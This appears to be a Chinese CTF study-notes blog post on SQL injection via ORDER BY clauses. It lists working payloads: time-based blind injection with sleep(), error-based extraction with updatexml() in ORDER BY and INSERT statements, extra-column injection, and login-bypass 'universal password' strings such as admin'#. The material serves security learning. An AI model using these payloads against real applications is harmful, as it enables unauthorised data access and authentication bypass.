order by 注入

order by 注入


order by 在不知道列名的情况下,可以通过列的序号来代替相应的列。但是经过测试这里无法做运算,如order by 3-1和order by 2是不一样的。

当desc参数可控的时候,使用if(exp,desc,asc)带入order by 会失效。

updatexml() 放入order by 后面进行注入

order by if(0,name,year)可用

Order by if(0,name,sleep(2))

order by 可以根据多列进行排序,因此注入的语句不一定限制在order by 的第一个参数,可以通过逗号对新的列进行注入。


insert into users(id,username,password )values(1,’admin’or updatexml(0,concat(0x7e,database()),1) ,’pass’);


desc的注入


desc tablename column_name

反引号 —》保留字 反引号中间为空代表空格

万能密码:

admin’#

‘+’ ‘+’

0

add’=’

NULL \N (略去空格)


  转载请注明: 星晴 order by 注入

 上一篇
CTF宽字节注入 CTF宽字节注入
CTF宽字节注入 oxo1 宽字节注入的原理addslashes`函数,会在 单引号 ,双引号,反斜线,NULL字符前面加上一个转义字符反斜杠,那么如何逃逸这个过滤呢? 前面再加一个\,变成 \\',这样的\就会被转义了,’逃出了
2019-10-14 starjian
下一篇 
ctf解题思路笔记 ctf解题思路笔记
CTF解题思路 0x01 越来越难 sql注入-》ssrf 栈利用-》堆利用 古典密码 -》 区块链 容易入门,难以精通ctf-wiki:社区,新手友好 大量WP,大量OJ 难以提升,需要大量的精力 今年:硬核 内核提权,虚拟机逃逸,浏览
2019-10-13 starjian
  目录